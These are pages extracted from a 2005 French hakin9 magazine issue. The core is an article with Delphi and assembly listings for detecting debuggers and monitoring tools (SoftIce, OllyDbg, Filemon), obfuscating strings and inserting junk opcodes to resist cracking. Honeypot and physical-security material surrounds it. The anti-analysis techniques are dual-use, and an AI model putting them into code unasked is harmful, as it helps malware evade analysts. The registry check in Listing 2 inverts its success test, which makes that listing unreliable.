La dernière chose, la plus im-portante : pour que le honeypot fasse bien sa tâche et protège effi -cacement le système informatique, il doit être correctement construit, ins-tallé dans l'endroit approprié et tenu à jour. Si non, il sera inutile et pour-rait être dangereux. En même temps, il ne faut pas oublier que le système honeypot n'est qu'une partie de l'ar-chitecture de la sécurité informatique qui, en tant que telle, est composée de plusieurs éléments. Il n'est pas capable non plus de remplacer les moyens de sécurité tels que pare-feux, systèmes IDS ou de bonnes habitudes. n

Projet HoneynetLe projet Honeynet (http://honeynet.org) est l’une des applications pra-tiques les plus intéressantes des honeypots. Ses membres utilisent – à des fi ns d’études – les réseaux en-tiers des honeypots à une très haute interaction. Honeynet est une organisa-tion non-profi t dont la tâche principale est de mener les recherches sur la sé-curité des réseaux informatiques. Les objectifs qu’elle veut réaliser sont l’aug-mentation de la conscience des utilisa-teurs d’Internet (en présentant les cas d’intrusions dans les systèmes réels), l’éducation (conférences, formations) et les études scientifi ques (fournir les méthodes permettant de collecter les informations). Actuellement, le projet utilise les réseaux des honeypots de la deuxième génération, capables de collecter automatiquement et d’analy-ser les données.

Les membres de Honeynet Project publient leur propre distribution Linux bootable (Honeywall). Celle-ci permet la confi guration rapide et facile des réseaux des honeypots composés ainsi que l’enregistrement détaillé des événements produits dans ces systè-mes. Le disque comprend également tous les outils nécessaires pour mener les études portant sur la sécurité des systèmes informatiques aussi bien réels que virtuels.

Page 61: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 62: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org60 hakin9 No 3/2005

Déf

ense

Les auteurs des logiciels commerciaux ne sont pas capables ou ne voient pas la nécessité de sécuriser leurs œuvres

contre le craquage. Bien sûr, les systèmes de sécurisation idéaux ne permettant pas aux pi-rates de créer un patch ou un générateur de clés n'existent pas. Si cependant vous tentez de le rendre le plus compliqué possible, il se peut que le pirate renonce à votre logiciel et qu'il en choisisse un autre insuffi samment protégé. Examinons donc de près les tech-niques grâce auxquelles votre application ne sera pas une victime facile.

Détecter SoftIceLe pirate informatique ne peut pas se passer du débogueur. C'est grâce à lui qu'il peut suivre instruction par instruction le code du logiciel dans l'assembleur. Il existe plusieurs logiciels remplissant cette fonctionnalité mais dans le milieu des pirates, c'est SoftIce de la société NuMega qui est le numéro 1. C'est un débo-gueur tournant dans l'environnement privilégié (ring 0).

Pour sécuriser votre code contre un éven-tuel déboguage, vous pouvez employer quel-ques trucs permettant de vérifi er si SoftIce est

Protéger les logiciels Windows contre les pirates informatiquesJakub Nowak

La travail du développeur qui crée des applications shareware devient tôt ou tard la proie des pirates informatiques. Il arrive souvent qu'un crack ou un keygen apparaisse sur le net le jour de la sortie du logiciel. Il existe cependant les méthodes effi caces permettant de protéger le code contre les voleurs.

actuellement installé dans le système et chargé dans la mémoire. En cas de détection, vous pouvez décider du comportement de votre logi-ciel. Toutes les méthodes présentées marchent sans aucun problème sous Windows 9x mais dans le cas des autres versions de Windows (ME/NT/XP/2000), le fonctionnement de cer-taines d'entre elles peut être moins performant. Cela est dû aux niveaux de sécurité plus élevés dans les versions plus récentes de Windows

Cet article explique... • comment sécuriser votre propre logiciel contre

le craquage,• comment détecter la présence des débogueurs

SoftIce et OllyDbg,• comment chiffrer les messages d'écran,• la méthode d'utilisation de dummy opcodes.

Ce qu'il faut savoir...• Delphi,• l'assembleur,• et savoir utiliser les débogueurs sous Win-

dows.

Page 63: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 61hakin9 No 3/2005

Protection contre les pirates informatiques

– certains trucs ne sont tout simple-ment plus valables.

La première méthode la plus fréquente pour détecter SoftIce consiste à détecter ses pilotes – les fi chiers sice.vxd et ntice.vxd. Es-sayons de les ouvrir en appellant la fonction WinAPI – CreateFileA (voir le Listing 1). Si SoftIce (et plus précisément sice.vxd) se trouve dans la mémoire, le système ne permettra pas d'ouvrir le pilote

et sa poignée sera retournée. Dans le cas contraire, la fonction appelée retournera INVALID _ HANDLE _ VALUE, ce que veut dire l'absence du pi-lote. Pour le pilote ntice.vxd, vous pouvez procéder de la même ma-nière.

Une autre méthode pour détec-ter un débogueur consiste à trouver ses clés dans le registre système de Windows. Tout comme les autres logiciels, SoftIce apporte lors de

l'installation des changements au registre en y ajoutant ses propres lignes. Les clés modifi ées se trou-vent dans l'arborescence HKEY _ LO-

CAL _ MACHINE et ce sont :

• SOFTWARE\Microsoft\Windows\

CurrentVersion\Uninstall\

SoftICE,• SOFTWARE\NuMega\SoftICE.

Il suffi t donc d'appeler la fonction RegOpenKeyEx (voir le Listing 2) et d'ouvrir la clé défi nie dans le registre – si celle-ci n'existe pas, la fonction retournera la valeur ER-ROR _ SUCCESS. Pour la clé SOFTWARE\NuMega\SoftICE, procédez de la même manière.

Une autre technique rela-tivement simple de détection du débogueur SoftIce consiste à trouver une ligne dans le fi chier autoexec.bat. Lors de l'installation, SoftIce y ajoute la ligne défi nis-sant le chemin vers winice.exe (C:\PROGRA~1\NUMEGA\SOFTIC~1\WINICE.EXE) étant le fi chier per-mettant de charger le débogueur dans la mémoire. Cette méthode a été présentée sur le Listing 3.

Le débogueur peut être égale-ment détecté grâce à des méthodes plus compliquées. L'une des techni-ques possibles consiste à employer les exceptions. Pour les initialiser et les utiliser, choisissez les fonctions API comme, par exemple, SetUnhan-dledExceptionFilter ou UnhandledEx-ceptionFilter.

SoftIce intercepte tous les ap-pels INT 3. Si le registre EBP a la valeur BCHK et 4 est la valeur du registre EAX, le débogueur ne per-met pas d'assigner ExceptionHan-

dler. Au lieu de cela, il retourne la valeur 0 dans le registre AL. Si le logiciel n'est pas démarré à l'aide de SoftIce, SetUnhandledException-Filter est utilisé pour intercepter les erreurs et pour continuer à partir de l'adresse indiquée. Si vous utilisez SoftIce, celui-ci ne sera pas appelé, ce qui vous permettra de détecter la présence du débogueur.

En ce qui concerne la fonction de vérifi cation, le mieux est de l'écrire

Listing 1. Détecter le débogueur en trouvant ses pilotes dans la mémoire

ifCreateFileA('\\.\SICE', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) <> INVALID_HANDLE_VALUE

then begin showmessage(‘SoftIce détecté!’);

end;

Listing 2. Ouvrir les clés SoftIce dans le registre à l'aide de la fonction WinAPI RegOpenKeyEx

if RegOpenKeyEx(HKEY_LOCAL_MACHINE,

'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SoftICE',

0,KEY_READ,clé) <> ERROR_SUCCESS

then begin showmessage('SoftIce détecté!');

end;

Listing 3. Vérifi cation de la ligne SoftIce dans le fi chier autoexec.bat

var f: textfi le; s, aide: string;

l: integer;

beginassignfi le(f, 'c:\autoexec.bat');

reset(f);

while not eof(f) do begin readln(f, s);

for l:=1 to length(s) do s[l]:=Upcase(s[l]);

aide:=s;

if aide ='C:\PROGRA~1\NUMEGA\SOFTIC~1\WINICE.EXE' then begin showmessage(‘SoftIce détecté!’);

end; end;closefi le(f)

end;

Page 64: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org62 hakin9 No 3/2005

Déf

ense

en tant que partie assembleur dans le code Delphi (Listing 4). Cette méthode peut être également lé-gèrement modifi ée de sorte que l'interruption INT 3 soit appelé sans EAX=4 et EBP=BCHK mais avec les registres SI=FG et DI=JM – pour voir le code concerné, reportez-vous au Listing 5.

Pour détecter SoftIce, il est éga-lement possible d'utiliser la méthode de communication du système avec le débogueur. Appelons l'interruption INT 41 pour le registre EAX=4Fh (voir le Listing 6). Si SoftIce se trouve dans le système, il reprendra la gestion de l'interruption et il entrera la valeur 0F386h dans EAX. Notez que cette va-leur est un identifi ant du débogueur dans le système.

En utilisant l'interruption INT

68h, vous détecterez SoftIce de la même manière. Celle-ci doit être appelée pour l'état du registre AH=43h. Si le débogueur se trouve dans la mémoire, la valeur 0F386h sera retournée dans le registre EAX (voir le Listing 7).

Une autre méthode pour détec-ter SoftIce consiste à utiliser IDT (en anglais Interrupt Descriptor Table). IDT est une table où les informations sur les interruptions sont stockées (voir également l'article de Mariusz Burdach Quelques méthodes sim-ples pour détecter les débogueurs et l'environnement VMware, hakin9 2/2005). Cela est requis par la méthode de travail du système en mode protégé.

Le système Windows crée Inter-rupt Descriptor Table pour 255 vec-teurs d'interruptions. SoftIce utilise les interruptions INT 1 et INT 3. L'idée de cette méthode est de lire depuis la table IDT les adresses des interrup-tions INT 3 et INT 1 et de soustraire leurs valeurs l'une de l'autre. INT 3 a la valeur 3115h et INT 1 – 30F7h. Après les avoir soustrait l'une de l'autre, vous obtenez la valeur 1Eh (voir le Listing 8).

Que faire après la détection du débogueur ?Dans les premiers exemples, nous présentons le message informant

Listing 4. Appeler l'interruption INT 3

var Conserver :pointer;

begintry

asm

mov Conserver,esp ; la valeur du registre ESP est conservée push offset @suivant ; le descripteur pour ; SetUnhandledExceptionFilter indique

; où il faut aller si SI n'est pas détecté

call SetUnhandledExceptionFilter ; appeler l'exception mov ebp,'BCHK' ; chargement de la valeur 'BCHK' ; dans le registre EBP

mov eax, 4 ; la valeur 4 est chargée ; dans le registre EAX

INT 3 ; appeler l'interruption INT 3 Call ExitProcess ; quitter le logiciel ; après avoir détecté SoftIce

@suivant: ; c'est ici où l'on va si SoftIce

; n'est pas détecté

mov esp, Conserver ; restaurer la valeur originale ; du registre ESP

push offset @fi n ret @fi n:

ret

end; except end;

Listing 5. Une autre méthode pour détecter un débogueur en utilisant l'interruption INT 3

var Conserver :pointer;

begintry

asm

mov Conserver,esp ; la valeur du registre ESP est conservée push offset @suivant ; descripteur pour ; SetUnhandledExceptionFilter

call SetUnhandledExceptionFilter ; appeler l'exception mov eax, 4 ; chargement de la valeur 4 dans EAX mov si, 'FG' ; chargement de la valeur 'FG' ; dans le registre SI

mov di, 'JM' ; chargement de la valeur 'JM' ; dans le registre DI

INT 3 ; appeler l'interruption INT 3 Call ExitProcess ; quitter le logiciel si SoftIce ; est détecté

@suivant: ; c'est ici où l'on va si SI

; n'est pas détecté

mov esp, Conserver ; restaurer la valeur originale ; du registre ESP

push offset @fi n ret @fi n:

ret

end; except end;

Page 65: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 63hakin9 No 3/2005

Protection contre les pirates informatiques

l'utilisateur de la détection de Sof-tIce. En réalité, vous devriez l'éviter vu que c'est une facilité pour le pirate essayant de craquer votre logiciel. Après avoir reçu un tel message, le pirate pourra rechercher dans le code une chaîne texte parlant de la détection de SoftIce puis trouver et rendre inoffensif le moyen de sécuri-sation utilisé.

Le mieux est de ne pas informer sur la détection du débogueur mais d'utiliser un truc pouvant dérouter le voleur. Une bonne idée est de charger les valeurs suivantes dans la variable appropriée :

• 1 – si le débogueur a été dé-tecté,

• 0 – si le débogueur n'est pas pré-sent.

Au démarrage du logiciel, il est possible de vérifi er la valeur de cette variable en appellant le bou-ton Enregistrement, par exemple. Si celle-ci est égale à 1, l'applica-tion cesse de fonctionner ou elle cesse de réagir. Si cependant la valeur est égale à 0, le logiciel marche de façon standard. Pour en trouver un exemple, reportez-vous au Listing 9.

Où faut-il mettre les détecteurs de SoftIce ? La solution idéale est d'en avoir plusieurs et de les répar-tir dans des endroits différents du code et non pas dans la même par-tie l'un à côté de l'autre. L'un peut s'activer au démarrage du logiciel et l'autre peut être caché derrière le bouton d'enregistrement. Le fait d'insérer ces fonctions l'une après l'autre permettra au pirate de les trouver facilement et de les rendre impuissantes.

Détecter OllyDbgUn autre débogueur populaire s'appelle OllyDbg (voir la Figure 1). Comme il marche dans l'environne-ment fenêtres, vous pouvez le détec-ter grâce à un texte fi gurant dans la barre de titre de la fenêtre. C'est la chaîne OllyDbg et vous la trouverez en utilisant la fonction FindWindowEx (voir le Listing 10).

Filemon et RegmonSi vous utilisez dans votre logiciel le fi chier d'enregistrement ou si vous enregistrez dans le registre Windows les clés prouvant l'enregistrement du logiciel, faites attention aux logiciels tels que Filemon et Regmon. Le premier enregistre tous les fi chiers ouverts et le second toutes les lignes dans le registre.

Ces deux logiciels peuvent être détectés de deux façons. L'une con-siste à trouver le pilote dans la mé-moire (Listing 11) et l'autre à détecter la fenêtre (Listing 12).

En procédant de la même ma-nière, il est possible de détecter le logiciel Regmon. Pour cela, il suffi t de remplacer dans les lis-tings le nom du fi chier du pilote par \.\REGVXD et le nom de la fenêtre par Registry Monitor – Sysinternals:

www.siliconrealms.com.

Chiffrer une chaîne de caractèresLa plupart des messages impor-tants dans votre application doi-vent être chiffrés. Grâce à cela, il sera plus diffi cile au pirate de

Listing 6. Détection du débogueur à l'aide de l'interruption INT 41h

var Conserver :pointer;

begintry

asm

mov Conserver,esp ; la valeur du registre ESP est conservée push offset @suivant ; descripteur pour ; SetUnhandledExceptionFilter

call SetUnhandledExceptionFilter ; appeler l'exception mov eax, 4Fh ; la valeur 4fh est chargée dans EAX int 41h ; appeler l'interruption INT 41h cmp eax, 0F386h ; comparer EAX avec 0F386h, si les

; valeurs sont égales, SoftIce est détecté

jnz @suivant ; si elles ne sont pas égales ; (eax <> 0F386), le débogueur est absent

Call ExitProcess ; quitter le logiciel si SoftIce ; est détecté

@suivant: ; c'est ici où l'on va si SoftIce

; n'est pas détecté

mov esp, Conserver ; restaurer la valeur originale ; du registre ESP

push offset @fi n ret @fi n:

ret end; except end;

Listing 7. Détection de SoftIce à l'aide de l'interruption int68h

asm

mov ah, 43h ; chargement de la valeur 43h dans le registre AH int 68h ; appeler l'interruption int68h cmp ax, 0F386h ; comparer le contenu du registre AX avec la valeur 0F386h jnz @suivant ; s'il n'y a pas de zéro (AX <> 0F386h), ; SoftIce n'est pas détecté

call ExitProcess ; quitter le logiciel

@suivant: ; le logiciel continue à s'exécuter

retend;

Page 66: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org64 hakin9 No 3/2005

Déf

ense

trouver une bonne piste car au lieu de Numéro de série invalide, par exemple, il verra dans le code une chaîne de caractères sans signifi cation comme, par exemple, Űüđĺçôâüń&úâěµűŕřđçµćđçě˙űě.

Sur le Listing 13, vous voyez un petit programme permettant de chiffrer une chaîne de caractères choisie. La fonction d'encryptage étant très simple n'utilise que l'ins-truction xor. Bien sûr, il est possible de l'améliorer mais n'oubliez pas que votre objectif principal est de rendre la chaîne texte illisible et que grâce aux propriétés de l'instruction xor, vous ne serez pas obligé d'écrire la fonction d'inversion.

Pour utiliser la fonction d'en-cryptage, essayons de chiffrer un texte (Numéro de série invalide, par exemple) et mettons en pratique le résultat obtenu dans le logiciel (voir le Listing 14). Dans le désassem-bleur, le pirate verra la chaîne de caractères Űüđĺçôâüń&úâěµűŕřđçµćđçě˙űě au lieu de la chaîne texte Numéro de série invalide. Ainsi, vous devez chiffrer les messages concernant l'enregistrement ou la protection du logiciel. Pour les autres messages, il vaut mieux de ne pas les chiffrer car cela pourrait éveiller les soupçons du pirate.

Dummy opcodes, à savoir comment rendre le code illisibleDummy opcodes peuvent être dé-fi nies tout simplement comme des instructions sans tâches à effectuer n'ayant pour but que de salir le code du logiciel. Cependant, elles sont une arme effi cace dans le combat contre les pirates. Si vous utilisez les junks dans votre code (c'est une autre appellation pour les instruc-tions de ce type), le pirate verra lors du déboguage le code qui ne lui per-mettra pas l'interprétation détaillée des instructions importantes. Le code débogué sera si sali qu'il serait très diffi cile d'y trouver les instruc-tions standard.

Le craquage du logiciel sans supprimer les junks est un vrai

Listing 8. Détection de SoftIce à l'aide de la table IDT

varIDT : integer;

Conserver: pointer;

begintry

asm

mov Conserver,esp ; la valeur du registre ESP est conservée push offset @suivant ; descripteur pour ; SetUnhandledExceptionFilter

call SetUnhandledExceptionFilter ; appeler l'exception sidt fword ptr IDT ; lecture de la table IDT mov eax, dword ptr [IDT+2] ; chargement dans EAX add eax,8 mov ebx, [eax] ; EBX = INT1 add eax, 16 mov eax, [eax] ; EAX = INT3 and eax, 0ffffh and ebx, 0ffffh sub eax, ebx ; soustraire INT 1 de INT 3 cmp eax, 01eh ; si EAX = 01Eh, SoftIce est détecté jnz @suivant ; si EAX <> 0, le débogueur ; n'est pas détecté

call ExitProcess ; quitter le logiciel@suivant: ; c'est ici où l'on va

; si SoftIce n'est pas détecté

mov esp, Conserver ; restaurer la valeur originale ; du registre ESP

push offset @fi n ret @fi n:

ret end;

except end;

Listing 9. La procédure à appliquer en cas de détection du débogueur

var variable: byte;

procedure verifi erbegin

if CreateFileA('\\.\SICE', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) <> INVALID_HANDLE_VALUE

then begin variable:=1

end;end;

{........partie suivante du logiciel......}

procedure TForm1.enregistrementClick(Sender: TObject);begin if variable=1 then ExitProcess(0);

{si la variable n'est pas égale à 1, vous pouvez continuer}

end;

Page 67: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 65hakin9 No 3/2005

Protection contre les pirates informatiques

défi . Grâce à cela, vous gagnez du temps et le pirate perd patience. En plus, le désassembleur ne se débrouille pas bien avec les junks. Le code est toujours peu lisible. Pour utiliser les dummy opcodes dans votre logiciel, servez-vous des instructions assembleur. Voici un exemple :

asm

db $EB, $02, $CD, $20

end;

Ce junk , donné en exemple, était uti-lisé autrefois dans les exe-protectors professionnels (logiciels ayant pour but de sécuriser les fi chiers exécu-tables PE dans Windows). Sous la forme assembleur standard, il se présenterait ainsi :

jmp $+4

int 20h

Les instructions de type jmp $(+/-

nombre) permettent de se déplacer d'un nombre des octets donné (en avant ou en arrière en fonction de + ou -). Grâce à cela, les opcods sont interprétés de mauvaise façon et le code devient compliqué. Essayez de déboguer vous-même du code com-prenant ce type d'instructions pour comprendre comment cela marche en pratique.

Cependant, vous devez savoir où et comment insérer les junks. Tout d'abord, il faut que ceux-ci soient utilisés en grand nombre dans le code vérifi ant le numéro de série de votre logiciel. En outre, il est possible de les mettre dans les messages informant sur l'expiration du délai d'utilisation du logiciel ou pour vérifi er la présence d'un débogueur. L'exemple d'utilisation des opcodes est présentée sur le Listing 15.

Il faut dire que l'utilisation ci-des-sus des junks est peu confortable. C'est pourquoi, il est possible de créer un fi chier comme, par exem-ple, dummy.jnk, d'y déclarer votre insertion et de mettre le nom du fi -chier : {$I dummy.jnk} devant chaque instruction.

Listing 11. Détection du logiciel Filemon grâce à son pilote

ifCreateFileA(' \\.\FILEVXD', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) <> INVALID_HANDLE_VALUE

then begin ExitProcess(0);

end;

Listing 12. Détection de la fenêtre du logiciel Filemon

if FindWindowEx(0,0,0, § 'File Monitor - Sysinternals: www.sysinternals.com') <> 0

then begin ExitProcess(0);

end;

Listing 13. Fonction d'encryptage affi chant une chaîne texte

function encryptage(text:string):string;var t:integer; ch:char;

by:byte;

tmp:string;

affi cher:string;

begin for t:=1 to length(text) do begin by:=ord(text[t]);

by:=by xor $2F;

by:=by xor $10;

by:=by xor $AA;

ch:=char(by);

tmp:=tmp+ch;

end;affi cher:=tmp;

showmessage(affi cher);

Listing 14. Utiliser une chaîne texte chiffrée dans le message

if Registration = 0

then begin encryptage('Űüđĺçôâüń&úâěµűŕřđçµćđçě˙űě ');

end;

Listing 10. Détection du débogueur OllyDbg

if FindWindowEx(0,0,0, ‘OllyDbg') <> 0

then begin ExitProcess(0);

end;

Page 68: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org66 hakin9 No 3/2005

Déf

ense

Les dummy opcodes sont une bonne méthode pour se protéger contre les pirates et c'est pourquoi, il est bien d'en utiliser plusieurs. La taille du code n'augmentera pas considérablement et votre protection sera effi cace. Le mieux est d'associer les différents junks les uns avec les autres – créer, par exemple, trois junks différents et utiliser l'un ou l'autre ou l'un après l'autre. Voici deux autres dummy opcodes :

db $EB, $02, $25, $02, $EB, $02, § $17, $02, $EB, $02, $AC, $F9, § $EB, $02, $F1, $F8db $E8,$01,$00,$00,$00,$33,$83,$C4,$04

Vous pouvez expérimenter vous-mê-me en inventant vos propres junks.

Soyez cependant prudent car leur mauvaise création peut contribuer au plantage du logiciel.

Astuces fi nalesEn sécurisant votre logiciel con-tre les pirates, pensez avant tout à les dérouter. Pour cela, utilisez

les différents trucs. Une méthode effi cace consiste à insérer un code supplémentaire faux, responsable de l'enregistrement (faux bien évi-demment).

Vous pourrez, par exemple, met-tre en pratique une longue fonction de vérifi cation qui, en cas de cra-quage, affi chera un message non chiffré sur l'enregistrement réussi. Le pirate penserait que le logiciel est craqué tandis que vous changeriez seulement la chaîne unregistered par registered to: xxx sans déver-rouiller en même temps les fonctions indisponibles dans la version d'éva-luation.

Une autre méthode consiste à utiliser un fi chier externe. Si dans le répertoire de l'application, il n'y a pas de fi chier approprié comme, par exemple, register.dat, le logiciel passe à la fausse procédure vérifi ant le numéro de série ou il ferme tout de suite la fenêtre d'enregistrement (voir le Listing 16).

La course au tempsLes méthodes que vous avez vues vous permettent de prolonger la protection de votre logiciel – le pirate devra y consacrer plus de temps. En outre, vous pouvez uti-liser les exe-protectors qui sont vraiment très nombreux. Parmi eux, il y a, entre autres, les logiciels ASProtect ou Armadillo. PESpin est un bon protecteur gratuit polo-nais (voir le cadre Sur le réseau). Le logiciel où vous utiliserez aussi bien vos propres moyens de sécu-risation qu'exe-protector aura des chances d'échapper aux tentatives de craquage. n

Listing 15. Utilisation des dummy opcodes dans le code

asm db $EB, $02, $CD, $20 end;asm db $EB, $02, $CD, $20 end;asm db $EB, $02, $CD, $20 end;

if Registered = 1 then begin MessageBox(0,PChar('Merci de vous avoir enregistré!'),

PChar('Info'),MB_ICONINFORMATION);

end;

asm db $EB, $02, $CD, $20 end;asm db $EB, $02, $CD, $20 end;asm db $EB, $02, $CD, $20 end;

Listing 16. Utilisation d'un fi chier externe en vue de dérouter le pirate

ifCreateFileA('register.dat', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) = INVALID_HANDLE_VALUE

then begin aide:= 1

end;{........partie suivante du logiciel......}

procedure TForm1.enregistrementClick(Sender: TObject);begin if aide = 1 thenbegin FakeProcedure;

end;{si la variable n'est pas égale à 1,

la vérifi cation est effectuée de façon standard}

RegistrationProc;

end;

Sur le réseau :• http://www.pespin.w.interia.pl/ – le logiciel PESpin,• http://www.pelock.com/ – le logiciel PELock,• http://www.sysinternals.com/ – les logiciels Filemon et Regmon,• http://home.t-online.de/home/Ollydbg/ – le débogueur OllyDbg,• http://www.aspack.com/asprotect.html – le site du logiciel ASProtect,• http://www.compuware.com/products/devpartner/bounds.htm – le projet Bounds

Checker,• http://www.siliconrealms.com/ – le protecteur Armadillo,• mailto: [email protected] – contacter l'auteur.

Page 69: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 70: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org68 hakin9 No 3/2005

Déf

ense

En pleine nuit, un couloir vide résonne du son de verres brisés, suivi du bruit étouffé de pas se dirigeant vers la salle,

sans surveillance, où se trouvent les serveurs. Quelques minutes plus tard, on peut entendre un véhicule qui s'éloigne rapidement. Le lendemain matin, la première personne entrant dans l'im-meuble signale à la police une fenêtre cassée. Quelques heures plus tard, les inspecteurs cons-tatent que rien n'a été volé et classent l'incident dans la catégorie du vandalisme aléatoire.

Deux mois après l'incident, le PDG, hors de lui, réunit en urgence ses collaborateurs après avoir pris connaissance, dans un magazine commercial, d'informations aux conséquences dévastatrices pour sa société. La concurrence vient de lancer sur le marché un produit identi-que à celui que sa société a développé à coût de plusieurs millions d'euros. Le cambriolage d'il y deux mois était fi nalement bien plus que du simple vandalisme mais s'avère être de l'espionnage industriel. Selon des spécialistes indépendants de la sécurité, le cambrioleur a utilisé un CD ROM Linux auto-bootable pour court-circuiter les contrôles de sécurité pré-sents, puis a tout simplement copié les secrets de fabrication, pour fi nalement partir sans lais-

Conception de systèmes de sécurité physiqueJeremy Martin

Dépenser de l'argent dans la protection de données pouvant être recréées ne présente aucun intérêt ; que pourrait-il se passer concrètement ? – des commentaires de ce genre émanent d'un trop grand nombre de cadres issus des hautes sphères dirigeantes. Du mauvais emploi de la part de l'employé à l'espionnage industriel, en passant par les catastrophes naturelles, il existe une grande variété de menaces dirigées contre les actifs d'une société.

ser de traces. Tout ceci aurait pu être évité si seulement des contrôles appropriés avaient été mis en place.

Le présent article a pour objectif de pré-senter certains problèmes liés à la sécurité physique et la façon de minimiser les mena-ces internes grâce à l'installation de contrôles d'accès. Seront uniquement évoquées ici les

Cet article explique...• la plupart des menaces communes visant la

sécurité des entreprises,• la façon de protéger votre organisation ainsi

que vos données contre les menaces physi-ques,

• la façon d'élaborer une politique de sécurité physique.

Ce qu'il faut savoir...• vous devriez idéalement posséder une expé-

rience en gestion des ressources humaines,• vous devriez parallèlement connaître les ba-

ses en matière de conception de procédures de sécurité technique.

Page 71: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 69hakin9 No 3/2005

Sécurité physique

procédures d'entreprises. Toutefois, toute suggestion est digne d'intérêt, tant pour les entreprises commercia-les que pour les individus.

Les contrôles d'accès, il est utile de s'en souvenir, se déclinent en trois branches : physiques, adminis-tratives et techniques.

Les contrôles d'accès physiquesSelon le site Web du Ministère de l'Énergie des États-Unis, « Par sécurité physique, on entend tout d'abord la protection physique des informations sensibles et protégées, du personnel, des installations, ou de tout autre matériel sensible, des ressources, ou l'ensemble des pro-cessus visant à se défendre contre les activités d'espionnage criminel-les, terroristes, ou hostiles ».

Il nous faut tout d'abord défi nir la nature des différentes menaces physiques existantes :

• menaces émanant des individus – pertes, grèves, maladies etc.,

• sabotage et vandalisme,• pannes matérielles,• catastrophes naturelles – tor-

nades, tremblements de terre, inondations etc.,

• catastrophes induites par l'hom-me – terrorisme, incendies volon-taires, explosions,

• pertes liées aux installations électriques, systèmes de chauf-fage, de ventilation et de clima-tisation, inondations.

Une fois ces menaces bien en tête, il devient possible d'évaluer la meilleu-re protection des actifs. Par exemple : dans le cas d'une perte de courant, vous pouvez vous doter d'un géné-rateur de rechange afi n de garantir la bonne exécution des systèmes cri-tiques, l'éclairage pour les employés, ainsi que la disponibilité du système de téléphone numérique. Dans le cas d'une panne de matériel, il est fort pro-bable que vous souhaitiez épargner les pièces disponibles ou souscrire à un contrat de maintenance avec un fournisseur pour un remplacement im-médiat. Il vous faut également garder à l'esprit la réglementation relative à votre secteur d'activité ou les lois territoriales qui vous assurent une certaine couverture tout en exigeant certaines mises en conformité. Voici les réglementations les plus connues dans le secteur relatif à la sécurité des Technologies de l'Information (voir également l'Encadré Sur le réseau) :

• La loi HIPAA représente l'arti-cle 104-191 du droit public des États-Unis : Health Insurance Portability and Accountability Act of 1996 (soit la Loi relative à la Responsabilité et au Trans-fert de l'Assurance Maladie, en français). Cette loi couvre les organisations qui dispensent des soins médicaux telles que les hôpitaux, les cliniques, les com-pagnies d'assurance, et même

les personnes offrant leur propre assurance.

• La loi SOX représente la Loi américaine Oxley-Sarbannes de 2002 ; il s'agit d'une réponse lé-gislative à l'encontre du scandale comptable provoqué par la faillite récente de sociétés ouvertes cotées en Bourse. La loi SOX exige une certaine conformité ainsi qu'une réforme complète et détaillée des procédures comptables à l'encontre des sociétés dites ouvertes (faisant appel public à l'épargne) afi n de diffuser et d'améliorer la qua-lité ainsi que la transparence des rapports fi nanciers tenus par des auditeurs indépendants à la fois internes et externes à la société.

• La loi GLBA représente la Loi américaine Gramm-Leach-Bliley de 1999 ; La Loi relative à la Modernisation des Finances de 1999, également connue sous le nom de Loi Gramm-Leach-Bliley ou Loi GLB, comprend des dispositions visant à protéger les informations fi nancières per-sonnelles des consommateurs détenues par les institutions fi nancières. Il existe trois parties principales qui énoncent les exi-gences liées au respect de la vie privée : la Financial Privacy Rule (soit la Règle sur les Données Fi-nancières Privées, en français), Safeguards Rule (soit la Règle relative à la Sauvegarde, en français) et Pretexting Provisions (des dispositions annexes).

